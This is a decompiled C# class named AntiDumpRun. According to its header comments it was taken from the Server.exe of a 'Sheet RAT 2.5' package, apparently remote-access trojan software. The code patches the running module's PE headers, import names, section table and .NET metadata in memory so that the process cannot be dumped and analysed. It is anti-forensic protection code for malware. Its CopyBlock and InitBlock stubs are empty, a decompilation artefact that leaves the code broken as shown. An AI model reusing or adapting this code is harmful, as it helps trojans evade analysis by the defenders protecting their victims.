// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe

using System;
using System.Windows.Forms;
using System.Reflection;
using System.Runtime.InteropServices;

//#nullable disable
namespace MindLated.Protection.Anti.Runtime {

internal class AntiDumpRun
{
  private static unsafe void CopyBlock(void* destination, void* source, uint byteCount)
  {
  }

  private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount)
  {
  }

  [DllImport("kernel32.dll")]
  [return: MarshalAs(UnmanagedType.Bool)]
  private static extern bool VirtualProtect(
    IntPtr lpAddress,
    uint dwSize,
    [MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect,
    [MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect);

  private static unsafe void Initialize()
  {
    Module module = typeof (AntiDumpRun).Module;
    byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module);
    byte* numPtr1 = hinstance + 60;
    byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6;
    ushort length = *(ushort*) numPtr2;
    byte* numPtr3 = numPtr2 + 14;
    ushort num1 = *(ushort*) numPtr3;
    byte* numPtr4 = numPtr3 + 4 + (int) num1;
    byte* source = stackalloc byte[11];
    if (module.FullyQualifiedName[0] != '<')
    {
      byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/);
      AntiDumpRun.MemoryProtection lpflOldProtect;
      if (*(uint*) (numPtr4 - 120) != 0U)
      {
        byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120);
        byte* numPtr6 = hinstance + *(uint*) numPtr5;
        byte* destination1 = hinstance + *(uint*) (numPtr5 + 12);
        byte* destination2 = hinstance + *(uint*) numPtr6 + 2;
        AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        *(int*) source = 1818522734;
        *(int*) (source + 4) = 1818504812;
        // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
        *(short*) (source + 8) = (short) 108;
        source[10] = (byte) 0;
        AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U);
        AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        *(int*) source = 1866691662;
        *(int*) (source + 4) = 1852404846;
        // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
        *(short*) (source + 8) = (short) 25973;
        source[10] = (byte) 0;
        AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U);
      }
      for (int index = 0; index < (int) length; ++index)
      {
        AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U);
        numPtr4 += 40;
      }
      AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
      byte* numPtr7 = hinstance + *(uint*) (startAddress + 8);
      AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
      AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
      *(int*) numPtr7 = 0;
      byte* numPtr8 = numPtr7 + 12;
      byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2;
      ushort num2 = (ushort) *numPtr9;
      byte* numPtr10 = numPtr9 + 2;
      for (int index1 = 0; index1 < (int) num2; ++index1)
      {
        AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        numPtr10 = numPtr10 + 4 + 4;
        for (int index2 = 0; index2 < 8; ++index2)
        {
          AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
          *numPtr10 = (byte) 0;
          byte* numPtr11 = numPtr10 + 1;
          if (*numPtr11 == (byte) 0)
          {
            numPtr10 = numPtr11 + 3;
            break;
          }
          *numPtr11 = (byte) 0;
          byte* numPtr12 = numPtr11 + 1;
          if (*numPtr12 == (byte) 0)
          {
            numPtr10 = numPtr12 + 2;
            break;
          }
          *numPtr12 = (byte) 0;
          byte* numPtr13 = numPtr12 + 1;
          if (*numPtr13 == (byte) 0)
          {
            numPtr10 = numPtr13 + 1;
            break;
          }
          *numPtr13 = (byte) 0;
          numPtr10 = numPtr13 + 1;
        }
      }
    }
    else
    {
      uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/);
      uint num4 = *(uint*) (numPtr4 - 120);
      uint[] numArray1 = new uint[(int) length];
      uint[] numArray2 = new uint[(int) length];
      uint[] numArray3 = new uint[(int) length];
      AntiDumpRun.MemoryProtection lpflOldProtect;
      for (int index = 0; index < (int) length; ++index)
      {
        AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
        numArray1[index] = *(uint*) (numPtr4 + 12);
        numArray2[index] = *(uint*) (numPtr4 + 8);
        numArray3[index] = *(uint*) (numPtr4 + 20);
        numPtr4 += 40;
      }
      if (num4 != 0U)
      {
        for (int index = 0; index < (int) length; ++index)
        {
          if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index])
          {
            num4 = num4 - numArray1[index] + numArray3[index];
            break;
          }
        }
        byte* numPtr14 = hinstance + num4;
        uint num5 = *(uint*) numPtr14;
        for (int index = 0; index < (int) length; ++index)
        {
          if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index])
          {
            num5 = num5 - numArray1[index] + numArray3[index];
            break;
          }
        }
        byte* numPtr15 = hinstance + num5;
        uint num6 = *(uint*) (numPtr14 + 12);
        for (int index = 0; index < (int) length; ++index)
        {
          if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index])
          {
            num6 = num6 - numArray1[index] + numArray3[index];
            break;
          }
        }
        uint num7 = *(uint*) numPtr15 + 2U;
        for (int index = 0; index < (int) length; ++index)
        {
          if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index])
          {
            num7 = num7 - numArray1[index] + numArray3[index];
            break;
          }
        }
        AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        *(int*) source = 1818522734;
        *(int*) (source + 4) = 1818504812;
        // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
        *(short*) (source + 8) = (short) 108;
        source[10] = (byte) 0;
        AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U);
        AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        *(int*) source = 1866691662;
        *(int*) (source + 4) = 1852404846;
        // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
        *(short*) (source + 8) = (short) 25973;
        source[10] = (byte) 0;
        AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U);
      }
      for (int index = 0; index < (int) length; ++index)
      {
        if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index])
        {
          num3 = num3 - numArray1[index] + numArray3[index];
          break;
        }
      }
      byte* startAddress = hinstance + num3;
      AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
      uint num8 = *(uint*) (startAddress + 8);
      for (int index = 0; index < (int) length; ++index)
      {
        if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index])
        {
          num8 = num8 - numArray1[index] + numArray3[index];
          break;
        }
      }
      AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
      byte* numPtr16 = hinstance + num8;
      AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
      *(int*) numPtr16 = 0;
      byte* numPtr17 = numPtr16 + 12;
      byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2;
      ushort num9 = (ushort) *numPtr18;
      byte* numPtr19 = numPtr18 + 2;
      for (int index3 = 0; index3 < (int) num9; ++index3)
      {
        AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
        numPtr19 = numPtr19 + 4 + 4;
        for (int index4 = 0; index4 < 8; ++index4)
        {
          AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
          *numPtr19 = (byte) 0;
          byte* numPtr20 = numPtr19 + 1;
          if (*numPtr20 == (byte) 0)
          {
            numPtr19 = numPtr20 + 3;
            break;
          }
          *numPtr20 = (byte) 0;
          byte* numPtr21 = numPtr20 + 1;
          if (*numPtr21 == (byte) 0)
          {
            numPtr19 = numPtr21 + 2;
            break;
          }
          *numPtr21 = (byte) 0;
          byte* numPtr22 = numPtr21 + 1;
          if (*numPtr22 == (byte) 0)
          {
            numPtr19 = numPtr22 + 1;
            break;
          }
          *numPtr22 = (byte) 0;
          numPtr19 = numPtr22 + 1;
        }
      }
    }
  }

  internal enum MemoryProtection
  {
    ExecuteReadWrite = 64, // 0x00000040
  }
}
}